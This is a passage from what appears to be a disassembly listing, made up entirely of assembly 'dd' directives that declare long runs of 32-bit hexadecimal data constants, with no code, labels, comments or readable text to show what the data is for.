0FD58275h, 0A9308A3Eh, 0EAB40086h, 68882E08h, 821716BCh dd 6020B248h, 5F56A9h, 3020FEA1h, 81D2BBEDh, 0D804A0B8h dd 4ECB3788h, 300854C2h, 9C4982E5h, 0C8544800h, 2DBF8080h dd 0A9D0E583h, 0FF1BA116h, 0F4FD7020h, 0E6950055h, 930CD6C4h dd 3C1279E3h, 74006162h, 80BD11Dh, 0E97F245Eh, 0AA7800D0h dd 82132D20h, 0BBC54115h, 70C050A0h, 3D0B5840h, 0F3001ABEh dd 5E4A7753h, 3718C2E5h, 7C200EE4h, 0DE2E14E9h, 77F220D4h dd 490EFD38h, 589468CFh, 0BADC247Ch, 4032C468h, 0D744DB38h dd 0A4D4589Eh, 5F1BF163h, 0D9B07BE8h, 0D28A4E0Ch, 754D3142h dd 0ECBA2EB7h, 2E465E40h, 0FA692B00h, 0FC76D005h, 4961987Ah dd 83824721h, 0D60AE022h, 3A4D8CEh, 25B8734Bh, 56EDF019h dd 0F8631DA1h, 50305CA2h, 1F567537h, 8FB4D3ADh, 0CC2ACAEDh dd 0EE8F83B8h, 53DA02FEh, 324444C7h, 0C32BF660h, 0C6D60C09h dd 17D4A9EBh, 805C9130h, 0F42067A5h, 13BC0029h, 37D8F5C3h dd 0A8C02A60h, 6BB010Ch, 177200B0h, 7A973EA5h, 0B54CD1A4h dd 1C09CE8h, 8F63B2Fh, 0CE04000Ch, 0D55810F2h, 140083AFh dd 2D3CDE19h, 0E07F8102h, 0EC9B581Ah, 78C93E8h, 0C522DD64h dd 0EB5E918Ch, 3DA0400Ch, 3E651093h, 0D84872B0h, 469DC0D8h dd 925CDCE4h, 0CA03E0D0h, 316E0244h, 0CB22D4E3h, 80231CC2h dd 0EE0D23Eh, 29F52F1Bh, 28B8FCh, 0D27327A5h, 0D5633849h dd 6FDCB750h, 1DEC2925h, 805B1128h, 0F02577D7h, 68731EA0h dd 439F00F5h, 79FBCE2Bh, 0FE564112h, 2F23D02Fh, 2221B000h dd 0F116E7AFh, 9247DF4h, 765A3AF5h, 26844088h, 0EB6C0B3Ch dd 67EF3CA4h, 10AB8300h, 92448C05h, 82E80BC4h, 98824F87h dd 7F00262Ch, 0B147E60Ch, 595702E4h, 0B887624Eh, 169F8E8h dd 58C15D0h, 0CFB899E2h, 0BCD2C110h, 3F27CD0Eh, 32080066h dd 90DFC7BEh, 8E471890h, 0D48C8995h, 20A83894h, 2C718020h dd 0E004989h, 90B87204h, 0E0A4CDAh, 805C1206h, 51E99142h dd 8F171498h, 985C1B58h, 18803EC8h, 162B39EFh, 0E34E00DEh dd 25425329h, 93185D74h, 0EF785404h, 0B591C685h, 19039976h dd 685AEC84h, 0C7791028h, 39EDC0E3h, 4A09D260h, 3AD428D7h dd 0A8020572h, 98C98E02h, 0A804449Dh, 18DCFDC4h, 8024D037h dd 0D7245E07h, 8809A810h, 8094A113h, 0F7007A86h, 0F28D6D1h dd 0CC87D884h, 187F0A42h, 97542C7Bh, 8D00D1C0h, 0F24F18A9h dd 0FC82C8h, 0D0063E16h, 0E3E20A7Ah, 19C39E0Ch, 0C90817Fh dd 0D3834564h, 5E143041h, 50ECE7F3h, 5740ACD8h, 48D6F805h dd 2058AC22h, 0C1B6B11h, 9116C770h, 95B838AEh, 9AB3B28h dd 0FE3C8215h, 33B24022h, 5ABA94A0h, 550548DCh, 6AC10441h dd 7F91C419h, 1FC9A42Ch, 8DB07013h, 0E70E775Eh, 60486569h dd 0A1859EDAh, 6C675CB4h, 0D4910E80h, 9C1A8880h, 60785F25h dd 68D30FCh, 0E3F00AC0h, 7C006951h, 52DF14E7h, 0E2BA4D8Ah dd 8C5718CBh, 0DA62F02Ch, 88D9F412h, 0E4E75082h, 4CA10F78h dd 0C03C6BA4h, 2805A81Bh, 2A04E3B5h, 5293EFC1h, 0B00030E2h dd 21AEF2D7h, 0C016A09Eh, 0A801BAA1h, 6235B48Dh, 16DBA08Bh dd 62EC4CE1h, 3031F258h, 0A000D828h, 81D41F3Ah, 0E08488F7h dd 0EEF93499h, 0F234E229h, 85B43354h, 0EEEC3254h, 426FCB10h dd 68214A48h, 0F98E087Dh, 752D42Bh, 10CF07CEh, 35123C58h dd 37114100h, 2D8F80B7h, 549200BAh, 639EF351h, 2C1248D4h dd 0BCD179C2h, 0DF0C3306h, 9028825Ah, 73078C80h, 0B688E070h dd 8C138390h, 5DD9289Ch, 0D020E1B4h, 76AA037Bh, 63A2E377h dd 0E6B35200h, 43BE10AEh, 75D49015h, 44F201F5h, 5968A175h dd 0CACC20F3h, 0BC5E028Ch, 19D58B1Bh, 0B7809865h, 0F4B0BCD8h dd 12030124h, 1BC60E72h, 597010FEh, 900162E8h, 0A0448DFDh dd 215E7096h, 35807BD2h, 54138A31h, 101501EFh, 79B2EA12h dd 0D4F88125h, 160C8190h, 3BAB434h, 0C60D037Eh, 9004F543h dd 32EA0502h, 9E258F2h, 0A74C330h, 0CC81AD70h, 0BC5C405Ch dd 65468BE9h, 0C5E91030h, 3700BCD6h, 8F70174Ch, 79FDD127h dd 612403BAh, 25109745h, 0C388EFB0h, 7702A099h, 406D9490h dd 24DBDA3Ch, 8140BA7h, 8A6F36F2h, 0ED12E882h, 80C81467h dd 6C82E371h, 5B002FEEh, 775510EDh, 4DBE383Bh, 82177C1Bh dd 5A408A7h, 91C0E2C7h, 85241510h, 8240CA9Ch, 75F0EC1Ch dd 94E9528Eh, 9635DB00h, 47334C1h, 0FDD3B000h, 85996B1Dh dd 3C9C0A26h, 10D08C1Ah, 8182002Ah, 67FA63B4h, 332D0052h dd 415EE6BAh, 8101E15h, 0B14844C7h, 1D8D32Bh, 0D25C3A19h dd 882618E9h, 3903F116h, 5B7425Ah, 0D0C0CD29h, 4C37C634h dd 1A12ECFFh, 3379021Eh, 0B4A2AC73h, 2E42EE0Fh, 898EC004h dd 19602054h, 30424B41h, 0E4E0E5A2h, 0AAC060D1h, 20289A25h dd 470B5394h, 481F62B5h, 514F80h, 92186BD2h, 43DE6F98h dd 0CA565A00h, 0F2A0EB81h, 0D19C995Ch, 3F97185Ch, 3787A402h dd 122E4BC4h, 0FCB7262Bh, 9C466280h, 0FC8C0A38h, 0CB69C043h dd 78C88A3Eh, 0E22C8F52h, 0A9A3301Eh, 1509EA00h, 0FD917C0Fh dd 828CB096h, 7E7540C7h, 0A51C9A88h, 7BD2E2C0h, 0D80BF81Bh dd 0A09504E4h, 0C185D5BFh, 1251214h, 0C8AE5DC2h, 2E4674FCh dd 5A719000h, 0F7EC3D1Bh, 76BA0412h, 0AC4F48Bh, 1B9D307Fh dd 387C5C06h, 0EEF28F82h dd 700B044h, 36246944h, 7E3F95CCh, 0C8920058h, 7604E138h dd 5C07BA22h, 804562BEh, 5F34A0DBh, 0A84FC6D2h, 176397A8h dd 2FAD9AD1h, 7BDC10C0h, 0F6CBF5C3h, 0ED921AC0h, 7A46FD15h dd 6F058CCh, 8B4FDECFh, 0BE301369h, 525081D3h, 0C470D044h dd 5D83CFBh, 59C2047Fh, 0B220C002h, 8754D840h, 60D144F0h dd 207395Ch, 7E314716h, 0E497FDE1h, 17833291h, 5EC87612h dd 9098DB33h, 7D2C0518h, 1DFEF3E1h, 40404392h, 8A7E25EBh dd 5002CFAh, 98CAC0FDh, 24F2D0C2h, 4028B568h, 0A35029B6h dd 0EE919305h, 0EC04FD7h, 9D05EDh, 824EBC2Eh, 16343BF2h dd 38A09894h, 50D78C12h, 0AFF4B889h, 884CB927h, 0D0B6E7Ch dd 0E40C6561h, 0CC506031h, 4A2998C9h, 178881C2h, 6DD4F082h dd 0EA045615h, 152804D0h, 48801F63h, 24610E29h, 805C026Bh dd 399C1B9Ah, 440132E9h, 0FDFB5D98h, 307937F4h, 0D1584C18h dd 0B4005D6h, 0F4731725h, 0D3AC4F70h, 0C07C54B6h, 3F8C31E8h dd 3C965794h, 872C572Eh, 360A9814h, 0C780A889h, 0DC87BCC4h dd 18DA16E8h, 9E9890F2h, 0C8009051h, 0B1D21622h, 0A07076FFh dd 16C60F60h, 72F1DA7Fh, 784080CCh, 9E808E93h, 0F20809B9h dd 0B46599EAh, 0DC6024E4h, 8900A166h, 20E22536h, 5FB6063h dd 0B0BE0C71h, 978B030h, 24E8240h, 0F3C27CA9h, 0CC7BA0Ch dd 4A603044h, 5002EBDDh, 0D437D989h, 6A5CD16Fh, 32465C2Ch dd 9B04AC67h, 0EC852C4Ch, 106054C4h, 983087DDh, 0D4CC981Bh dd 0ED8C124Ch, 0C8F48B19h, 0B473C02Dh, 6C004A36h, 30E284C2h dd 9E64C676h, 7FE688CCh, 17BC5A60h, 2275468Ch, 0D4C303E6h dd 0B9F3EDBCh, 9833A6A0h, 70003492h, 0E2D19DD0h, 93B401h dd 0DEC37D1Fh, 29BFAAF2h, 8ED4391Dh, 60686225h, 5F51DF5h dd 42C9EA3Dh, 16CB2E8h, 0A53CAF9Bh, 9830C8E9h, 26A7088h dd 0C549BB66h, 911D6106h, 80A187CFh, 70852CF0h, 22EE1210h dd 8C0000Eh, 61CF7B82h, 1284DA4Ch, 0CC2107A7h, 80201D6Dh dd 13195AF0h, 88C0CB94h, 582BC697h, 0DD71C360h, 0BC543837h dd 26D78910h, 0C010742Bh, 623DD919h, 0DBE08592h, 30CE4A76h dd 25C19288h, 402BAFF4h, 0B45436DCh, 0A000513Fh, 0EA709DA5h dd 9EAB5740h, 0B97A60D4h, 0D09C8CF1h, 170BCD08h, 0FEE4D0E7h dd 0A5427F4h, 64B472CCh, 3F80465Ch, 71818136h, 4BBE8ECAh dd 170F3468h, 300C3C84h, 28B2AD88h, 0B2E27017h, 0EC588414h dd 0B2E48CD2h, 64658400h, 0C89399A7h, 0CD9C1881h, 0F6856853h dd 0F243989Eh, 87E91E58h, 9BED8009h, 6FE001D3h, 8165E114h dd 4310E844h, 1B54007Fh, 0F8B6FC4Ah, 626B2CF2h, 0EDF90910h dd 5B913C9Fh, 8937E80h, 0DC2E30F7h, 91055DD2h, 0E00F9509h dd 3180A0A0h, 8A18F043h, 0D9DEFC84h, 0D939F8D4h, 1121D223h dd 7DD003Eh, 0FCBF9C3Ah, 194A0016h, 0D0F5543Bh, 83E2859Eh dd 24970490h, 34A9F244h, 0FCD9BB01h, 529F5764h, 8C207C14h dd 0A6886660h, 78209BC4h, 5500644Ah, 29D85B9Dh, 281C0A14h dd 4CCCF977h, 2FBCC0EBh, 53AD4C8Ch, 0B92A3C02h, 0A4A39435h dd 4D806415h, 502EA4E3h, 45BFEC3Ah, 0DDA24823h, 12BF30h dd 692A67BEh, 48F524DCh, 81352E3Ch, 7EBB639Ch, 642E7A26h dd 0A8BCAD28h, 4D020142h, 8206C8DBh, 71743480h, 465CC09Eh dd 0F0B41D97h, 768D8171h, 409A4070h, 0E648B329h, 43D1E88Ch dd 807F3A7Bh, 71B715E4h, 276016B2h, 80177A1Ah, 66802391h dd 0AEBD203h, 1003C65Bh, 911C9270h, 0F2C17FA6h, 58D17438h dd 300570ACh, 39CB2B63h, 4846CA0h, 0D2CFD742h, 0D2C0F166h dd 0EE029E80h, 25274F38h, 1164976Fh, 0A000931Eh, 2750A0B0h dd 5DF401CCh, 7105149h, 49CC3C69h, 52EB844h, 458C74FDh dd 0F2F02289h, 0C600F46Ah, 0CB87EA19h, 517A700h, 1A5B7775h dd 33082527h, 8119D420h, 2A03224Fh, 0DF292406h, 2C3F98DBh dd 0D9F41D17h, 0EA4E408Ch, 0FBCB335Bh, 0B0C26500h, 0D2DB6A1Eh dd 91B41281h, 9284C057h, 7F80935Dh, 16725F14h, 0B9180498h dd 15F9018Ch, 14334826h, 0A53028E2h, 8D0F48ADh, 42CB5E12h dd 6D0BA8A8h, 0B3C0ACCDh, 884CB1DCh, 25001EDEh, 0D14DCE96h dd 66D27B5h, 8FD6D261h, 9700C091h, 34CAD0E3h, 9050C88Ah dd 0C6D2175Ah, 0B2884073h, 0BC37068h, 0EC308559h, 415704BDh dd 0D015B972h, 68A1095Ch, 689AEC4Ah, 701691C1h, 0FBCAD859h dd 640ACBCh, 1D8EABh, 0B0751EE8h, 4437D949h, 27692240h dd 0A46460BFh, 6BD433Eh, 48B24682h, 85420019h, 5C956163h dd 570036ADh, 88ABEE72h, 95B5487Eh, 1308601Dh, 0AFEE617Fh dd 6DFFE580h, 1D42378h, 0D25F39EEh, 882218F1h, 3A070617h dd 0E1E2CE48h, 78E24FA5h, 0CDC1600h, 0A84504B8h, 0B29E7C00h dd 0D697D365h, 30ECF1FAh, 0ADEF1FA4h, 6FD9022Eh, 0E074519Ch dd 975FB508h, 628E1BA3h, 0D05E04B2h, 6B42DB8Fh, 674CE01Ch dd 0F4FD4CE5h, 3B8C2FBCh, 0C882263Fh, 2939B97Ch, 179A24D1h dd 0E1F8ED28h, 0F382EEC7h, 46A43CFBh, 0C154F2h, 9FD6F88Bh dd 0C8110886h, 7AAEF700h, 83751D48h, 64849DE4h, 19D0F0BDh dd 38F7F9C0h, 701720F5h, 0E08212A5h, 0E48CE4B8h, 6D023000h dd 78A94D96h, 0F84B3EABh, 98F58C00h, 23CBB9D4h, 0AE004CE8h dd 96297F3h, 0C277DB6Bh, 34B77040h, 47259CCCh, 885CE881h dd 1174EC6h, 121E06BCh, 33C98056h, 86CC5DF5h, 2E921C18h dd 0F88109BCh, 15F954ECh, 97F24CB2h, 83D4B831h, 506F27CCh dd 6DEF1060h, 73D481C0h, 1FD4182h, 524E3146h, 343544B1h dd 0BC130E20h, 98A626D9h, 1EB3BAE0h, 148BCF04h, 0A4C1588Ah dd 4F2BDF98h, 4418F4Ch, 69191DEDh, 0EDC48C4h, 82610CFCh dd 5653BC57h, 6783D078h, 0A83A71D2h, 0D6018023h, 2BFFD843h dd 3D032839h, 0FEB1B7B3h, 0C47A230h, 0F8C77128h, 0CBBB7A31h dd 1C2B575Ah, 0E4C0ACCDh, 73C5E996h, 74523E86h, 4FD0A5A8h dd 0EE843078h, 1385D11Ah, 0E21CF272h, 0B039301Ch, 0E98BC200h dd 9E5355CFh, 9A2F5AC1h, 5141C324h, 0CA3AE1A2h, 203F8C65h dd 0EBF9EF04h, 81967403h, 0B2F0A3Ch, 5B6FC20h, 3C40A829h dd 0C4870489h, 52536054h, 81B4021Eh, 215837C4h, 701E8876h dd 78D06D16h, 842F3A3Ch, 0BE848CE0h, 0DB4656B8h, 5EF67200h dd 6578F6Ah, 0A706E26h, 50B2D413h, 10018021h, 0ED02DB5Eh dd 0F98A4E00h, 0C29F16Ah, 0F0A21409h, 0C97A090Ch, 0B420973Bh dd 0C222EE0Ch, 0FE53EF13h, 0A1B1A0B6h, 0F33AD094h, 0B3E3BF13h dd 60B2D0E4h, 0C5752946h, 9A007156h, 0DE5C6324h, 7308D19h dd 906CDFAAh, 4408C975h, 86C128ACh, 0E1BF69ACh, 1011909Dh dd 311C1682h, 0F8829C60h, 49B6F909h, 2F081925h, 0E61D6896h dd 0BDCAE05Ch, 0BB6000E3h, 1403D392h, 0EC1387C9h, 14DB7E23h dd 7AB90DC0h, 3A13DA08h, 5C4F3E5Ah, 0AB054143h, 0D160A522h dd 0F43B748Eh, 0A05B138Bh, 0F20CB20Ch, 0D068302Dh, 1ECA1401h dd 39F0EF7Ch, 166CEAE8h, 2FA289CDh, 0DB239Ch, 0E53DC08Eh dd 95F0895Fh, 8AB40A00h, 0C8847460h, 11480079h, 37DD2A41h dd 9A9D2504h, 0D41CD4C4h, 8B18480Fh, 25CB8041h, 24DEEE68h dd 44B89427h, 0BC6160E7h, 0BD8B261Ch, 0D7C47090h, 4600BC7Ch dd 1F1E169Ch, 0A9EA9C0h, 4CA23AE9h, 7DED0BC4h, 0C444E4E9h dd 9B0072E5h, 0DA1C3029h, 3ED3E77h, 0F68D803Dh, 478190ACh dd 75D0228Ch, 0C175F030h dd 3098DB17h, 8114BD1h, 0DA675BC9h, 0EE00D4F4h, 0CB11A6h dd 0A3883801h, 9E160E18h, 688326Bh, 58B9D870h, 0B380B836h dd 0FF3D656Bh, 911AB500h, 0DA250A26h, 0A0D8006Ch, 418D06F4h dd 2850C873h, 0EE285EBCh, 289B98C6h, 0F1D6E8DBh, 102701A3h dd 560EF8F6h, 7F919288h, 1FC85CCBh, 2867E2C0h, 44904893h dd 570D1B0Ch, 0B618D421h, 8DB030E1h, 3950BF8h, 0C4127EF7h dd 0F000B8B7h, 8D44329Ah, 60A920B4h, 1BB85405h, 643B066Bh dd 42002223h, 76AAD36Fh, 210C982Fh, 92F11128h, 36E3C819h dd 0B405CB13h, 16C7B027h, 0D332EA42h, 17B45870h, 0B52BA400h dd 86548D9Ch, 60C74CC4h, 9F5E2FC1h, 0D00471E5h, 0EB0102F9h dd 6063B7BDh, 40365B50h, 4044C44Bh, 0D006C2C8h, 0E4856F48h dd 0D3A8601Ch, 0D6BA1C7Eh, 0ACE01F71h, 83FF01B8h, 0D2F33D4Ah dd 10BC246Ch, 0A86907DCh, 54E14050h, 550FDA1h, 0EE87A632h dd 0E44908EDh, 0F406A97h, 422C6840h, 44B26187h, 0D3FEF4h dd 5F05FBB3h, 0A49FC6DDh, 0DE00D870h, 7DA66F7h, 0B513BA5h dd 0D78A9EDFh, 8418A010h, 85C7E801h, 91C433B8h, 154899EBh dd 0D2090C36h, 0CC5823D6h, 4E690CE6h, 49208D19h, 234C3A3Fh dd 80FC1FDCh, 5E276843h, 4C28D3A0h, 20BEC456h, 203CE8A4h dd 5D8D0E57h, 0DC737A45h, 1100C5B4h, 2E71D903h, 502D3D72h dd 0F4B4E8AFh, 0B144B37h, 48BA0B9Ch, 19514CFBh, 0EC3038C0h dd 88015C37h, 646FCB06h, 0A0A2601Dh, 2691EC9Fh, 8F579Dh dd 66C88A58h, 0AF1708A1h, 0A41E350Fh, 7D148725h, 15780078h dd 54E1BA9Ah, 4A845700h, 0C17A422Eh, 0C94F0090h, 0B05003F4h dd 17BD0ADBh, 809391CCh, 0C76CD97h, 948C7E0Fh, 57DD8488h dd 0F1C8E024h, 9F38ECB0h, 0CA8A0760h, 0DF6A62Eh, 841724A8h dd 24C552A8h, 0EA6131C4h, 2F187063h, 60D6409Eh, 88E9D613h dd 0DB00169Bh, 6B04503Ch, 1BAE582h, 0E762736Ch, 49D60CA3h dd 0B46E6BB0h, 4043890Eh, 29BD12A0h, 0CB080C5Dh, 5749437h dd 0B0F7A60Fh, 0DE7FC898h, 17C56A2Fh, 9FDB9174h, 0D303E524h dd 80C44582h, 270CFC79h, 4C600B5Eh, 74949077h, 528B998Bh dd 0A520BBE4h, 8091B895h, 0A7D74180h, 3C061EB2h, 7EF9A06Bh dd 0FACF0021h, 179FE29Ch, 3615982Fh, 7AA83BC6h, 0DCB1B974h dd 144B72Dh, 301CDC6Eh, 6900348Eh, 0B800A88h, 0F5FBDD9h dd 289C8414h, 0B98A2FD4h, 3740066h, 2F890680h, 8097ECB7h dd 18805B11h, 8CD34CDEh, 5A427B02h, 64835D2Dh, 0CC691E48h dd 0A2F30001h, 8F86AE9Ch, 0F8286B18h, 60F09778h, 0A366916Eh dd 41FC91F2h, 428D1B00h, 0FD30173Eh, 9B2B16F7h, 9A08D0B8h dd 6F000A8Fh, 8D0C2A6h, 7A2FF54Fh, 621A1DF0h, 4644DF33h dd 0E1137E96h, 2826071Eh, 0F068D680h, 383C8D03h, 50005C02h dd 35D28A7Ah, 0A602EE08h, 29917C68h, 1A47A90h, 0F13145BAh dd 0D38101CAh, 7C036B80h, 8EE8109Dh, 8B874035h, 0E2EE0425h dd 11049DB0h, 0F4F68125h, 29D80673h, 80F930B9h, 0E7CBDE58h dd 8F8C7F4Ch, 82AAE004h, 0F74238h, 843DDFB7h, 0DB616D31h dd 65E74603h, 0C2D537BBh, 5C0955E5h, 2611301Dh, 0FDED1183h dd 93C610C0h, 0C4F1FE25h, 73EC9974h, 0A3A760E4h, 0BCAF0EF3h dd 2C80182Bh, 0E8EBBE10h, 0F0041CB9h, 233B6A55h, 10A30997h dd 64F8D089h, 8C8B4719h, 0C215F21h, 0FE52C0E8h, 0CAF9005Eh dd 0FC68B36Ah, 0D09E05B5h, 80465Eh, 0AEBEC748h, 5C7061A6h dd 309414E2h, 3460D62Dh, 0DB2519DAh, 0C14C9EEh, 96449C4h dd 0ED8BE4ACh, 46749054h, 0E729005Bh, 67D3D137h, 0C2C44B1Bh dd 2091F98h, 0ECE170BCh, 5520C55Ch, 0B290F496h, 805C3142h dd 5D30DEADh, 0ECDC0096h, 751A3547h, 3E0981A7h, 7B526073h dd 90E5AD54h, 655BE4h, 128C9CF8h, 0A226CAE5h, 1C198ED3h dd 0D08857C1h, 5978CC1h, 9A5A1CA3h, 0CF7B815Ch, 4E6F8BD6h dd 0F2325234h, 55F6C464h, 0ACECB824h, 9D008C21h, 0E92BBFA7h dd 3021584h, 996BE383h, 29009621h, 0C39A60F6h, 0FB9A1CEh dd 0A502C97h, 0D1540C40h, 230B2176h, 0D106F2F6h, 4431C424h dd 98E4EE8Ch, 545712CBh, 87C89E09h, 8F7057B6h, 0D020E679h dd 6110C059h, 0E10D2596h, 8D107278h, 5B5B5DB4h, 82F22444h dd 408D60BCh, 0B8BC3999h, 0A8F60C8Ch, 0ADACE741h, 0C7519500h dd 5CB33D9h, 0FCB2305Eh, 0F3314731h, 0E9DF953Ch, 1F786881h dd 7C40BC69h, 9D011E46h, 65A37472h, 0BD18605Eh, 4413740h dd 28628304h, 0F2E4E384h, 0D5043024h, 0A14DBC00h, 0F215796Eh dd 8C96884Fh, 3174331Eh, 5057B800h, 9D2C6FCCh, 13B91093h dd 0B2BC23EDh, 0EDB3302Eh, 0DDE67302h, 5E082A7Dh, 37DE4090h dd 68C12798h, 0AD68D166h, 7B06B3Ah, 3F66E6Ah, 0DD395780h dd 68044865h, 17182824h, 0FB58A483h, 71909186h, 0FAEE182Eh dd 26D5ECD7h, 968E225h, 44F8CD8Eh, 72619804h, 20D01FE1h dd 36DA598Dh, 0E0B49076h, 0C5880D05h, 0E4478F2Bh, 0CE7E4C79h dd 0AC82B8AAh, 0D5080520h, 81ADD23Dh, 7EC7DBF5h, 8A3AA46Eh dd 0ECCB0380h, 0A1BB63B0h, 71F07209h, 0D3C0D344h, 0A7245598h dd 952B002h, 4184F489h, 0DF24C14h, 386E3EC0h, 0D6BA00Bh dd 0C3F22C20h, 0A803505Fh, 1201B397h, 0F0E6A35Dh, 73816F3Ch dd 7014BBB4h, 5572841Ch, 6F9D2605h, 40C02748h, 0BDED0CD3h dd 40029829h, 3C053039h, 3D9114B4h, 2F7581BBh, 0BC686BBCh dd 4A705471h, 0BA001F98h, 0E4A14B4Dh, 5EE9399Eh, 9C788F7Ch dd 619F00E3h, 0D4EB22Eh, 1125DD19h, 7D65998h, 3949D2DFh dd 0C05C6C42h, 814172Dh, 0C3607F10h, 24D4C1DEh, 108A4Ch dd 33D1242Bh, 9A17D6BAh, 8BEC8Bh, 0A0CF5988h, 0A9F0D10Dh dd 0AA133E01h, 0F7825084h, 4BB0BC1Dh, 39A0C0B7h, 313810A5h dd 75205E6h, 0CCC138B1h, 2D2AEB3Fh, 0E2A4328Ch, 7A933092h dd 7F76AA02h, 7454AE14h, 8F518800h, 70712000h, 274D27B7h dd 84B5FDEAh, 0B4936881h, 85D8DAC5h, 1A4B6CDh, 1E6EC38Ch dd 89A42C05h, 47A45EF5h, 0D282486Bh, 4E2934AEh, 5EB4B450h dd 0C3009546h, 39CB0BE0h, 0C64FD610h, 2CB580C0h, 0D11099EDh dd 1CD11828h, 0ED1532E7h, 9BFEA448h, 1FCF5B00h, 0CBBBBA3Eh dd 1042065Dh, 70E66AEEh, 42A51A2Fh, 0E4DC65B0h, 43A8602Fh dd 8420E9A1h, 87CC942Ch, 0C07A76DDh, 5DF0C928h, 0BD8EF802h dd 70E57D6Dh, 4B9B001Ch, 2C6BB409h, 0D5178A26h, 44A303D7h dd 67305CB2h, 4CBB3018h, 90EEB31Ch, 0BFDC0597h, 204F48BDh dd 0F1622440h, 16883600h, 61A486FFh, 0E4AE24D4h, 0E098434h dd 80B97Dh, 0DA4C1090h, 958143C2h, 1FE46065h, 0EC306861h dd 3C0061F2h, 41F68D56h, 5DB11E6Dh, 2F4ABC1Bh, 11F23E4h dd 615FFDD0h, 0A0E7EC3Fh, 7B621525h, 53C970F8h, 0F0BBA104h dd 0A8BC5D38h, 0C4E2AE89h, 22E4C0E5h, 0F70D3860h, 67E7D900h dd 763C8216h, 1EEC9026h, 603BE17Ch, 960189Ch, 754AD0h dd 1AC848CAh, 9A9E1489h, 94851F5Eh, 0DDB2CCE3h, 0FF6AD933h dd 4080ED0h, 7359B82Ch, 0D00ABAD4h, 465C705Dh, 6A301D3Eh dd 9D94780h, 164D259Bh, 0B2452C69h, 3097F2D4h, 2920BE09h dd 0E2703F60h, 0C1C4885Fh, 9FB24840h, 38023820h, 0CC2C4DA9h dd 0B509204Eh, 0AF10D174h, 8F00A835h, 0F18ED3E9h, 967C9430h dd 0E8CCA0CEh, 750C1E12h, 0C989C4DBh, 59D5E486h, 0FA418D0Bh dd 5E4810B6h, 58C99782h dd 0F8B86849h, 260B8C28h, 806368F3h, 0F205B32Ch, 82060953h dd 8CC029B4h, 804B76DBh, 13EECD0h, 0FCE516D3h, 0EF90301Fh dd 2F25A388h, 0D930D91Eh, 0EE281859h, 0E9960E7Ch, 462CCA5h dd 9C7E2BF6h, 0C258B280h, 3CA34A19h, 110099DBh, 6ADE373Bh dd 48759717h, 0DDFCC200h, 0C4514F71h, 3F0600E6h, 22D487DFh dd 0E400F1F8h, 5FDDF0CBh, 3ADC4B32h, 2F0018E5h, 7A4D5E51h dd 11C00859h, 0BC886E1Ch, 2B9106BFh, 8398B65h, 60216D6Eh dd 4FF48894h, 0A4E700A2h, 0E4FA38ADh, 6E00BF2Ah, 3FFE1899h dd 4E3C57h, 223D2870h, 0EAB0789Dh, 0A4604C0Ch, 13C4846h dd 564E845Bh, 8439C463h, 4027FA99h, 3D8ACA00h, 460602Eh dd 0E0724E31h, 0B351C06Bh, 0DE9A27D8h, 0F05E4001h, 7BD954A3h dd 9D64D091h, 0BEB688C1h, 0F0B28C1h, 0FD889271h, 0A9A04D80h dd 18DBB834h, 204E245Fh, 0D703D676h, 5607BD96h, 0C20AE8A7h dd 983A006Bh, 2760FE6Ah, 7B18511Dh, 0FA9C9E3h, 36CECCEh dd 476BA372h, 830BB4Ah, 0A60A2122h, 964D00C8h, 20D3FB0Dh dd 71C13F5Eh, 922E4552h, 4FC40FF5h, 9E7D1FA9h, 14A0C24h dd 0C5142F41h, 998C20BFh, 0BC186580h, 72216EECh, 0B408C0B3h dd 0EC7E95C8h, 0F6ADE11Dh, 715A0C7Ch, 75FE6179h, 1820EDCBh dd 57CE00C6h, 2220EEA6h, 0CA3FFF09h, 97918CDFh, 3A71316Ah dd 0FE8106AFh, 0D6CB5950h, 8E089848h, 0E062BA21h, 12CFF849h dd 3A8187C3h, 4E38103Ch, 0DA5759C1h, 0E18449F7h, 8021BF3Eh dd 798EEB66h, 48140B72h, 710084B8h, 0B32BB75Bh, 0C828B988h dd 6300185Eh, 84DA0DF4h, 7EAC247Dh, 66EF0A43h, 9DAC1D88h dd 0C4C80978h, 4C2E5810h, 0DC5F2401h, 0C6088540h, 0C0087CCBh dd 24648321h, 0FC01F6A8h, 0DDE784D9h, 0E18F09FBh, 0FF010B39h dd 40F09C83h, 84EFDAACh, 0F150707Ah, 48C8CA8h, 0FE4106AAh dd 238F6258h, 408065BBh, 0BF00D082h, 0DCCDC0A7h, 903BE077h dd 352924F8h, 63467EF0h, 3928971Ch, 610E0680h, 4ABC4D89h dd 3C29CDF6h, 0A3015495h, 70FE6206h, 961CFC4Eh, 24D20266h dd 90E09B9Eh, 6001DE54h, 49DF2C85h, 28BC362Fh, 0CA8D8281h dd 0F1DCF353h, 0E4882407h, 2CB58914h, 4C4000B0h, 0DC06FC94h dd 38371E10h, 0F11A48BDh, 52002C10h, 107004B0h, 14983825h dd 9491F9F4h, 996D920Ch, 777E00E5h, 734F3E57h, 5D5810ADh dd 0C7B41424h, 2460C1F8h, 31D2DCA3h, 78871053h, 0D3CF1D24h dd 0DE0F02A7h, 0C0A45C77h, 0DA50C7E2h, 87383EF4h, 1FD351Fh dd 0DC956CE1h, 0C44F2F9h, 4EE1C167h, 0D6C486C3h, 0C9C28061h dd 0C66200C7h, 0FE1CCC13h, 0B72ADE2h, 7D10D400h, 9D54CF4Ch dd 0CBF20D5Fh, 0F0703F24h, 0D4A5DF2Fh, 5B6075E4h, 0F430BF7Eh dd 0EE5E48DCh, 0B81F6C64h, 770CD950h, 11F438BAh, 230A490h dd 0FE6506AEh, 8B192778h, 0C0799711h, 300C08AFh, 19577D5Bh dd 40FC13E4h, 4A00070h, 26788DE1h, 68297277h, 5779C87Dh dd 0DC0CD018h, 0B810BC8Fh, 18CF1486h, 0A6808C23h, 63EBC0BEh dd 69691CB0h, 288B87C8h, 1050309Ch, 22BFCA2h, 0B12A1895h dd 0AA244021h, 0F08F0AD8h, 7680F8D4h, 7A8E46h, 0B0B6EC1Eh dd 7C6FC93h, 440FF672h, 2DEF8CFBh, 71E078DFh, 0E491D0ACh dd 0E8C7CE8h, 0A3903041h, 2504CE00h, 0C20E1311h, 0F3F193AEh dd 820B9C48h, 0B3FFC4AFh, 0B7DBECA0h, 0AD05C6F3h, 898E08B6h dd 7E9F9404h, 0AFB5090h, 0F4C7814Bh, 3026B88Fh, 467660F8h dd 1EBA007Ch, 0F28F760Ah, 979218EDh, 0CF3E2178h, 0D6847C01h dd 60D3DA07h, 54C889Eh, 7CA4E29h, 30F3F1F8h, 5773C12Ch dd 661184B1h, 6FC1CF8Eh, 0C68CB72h, 0A735883Bh, 0F03FC802h dd 8A5EDD2Ah, 282ADAF4h, 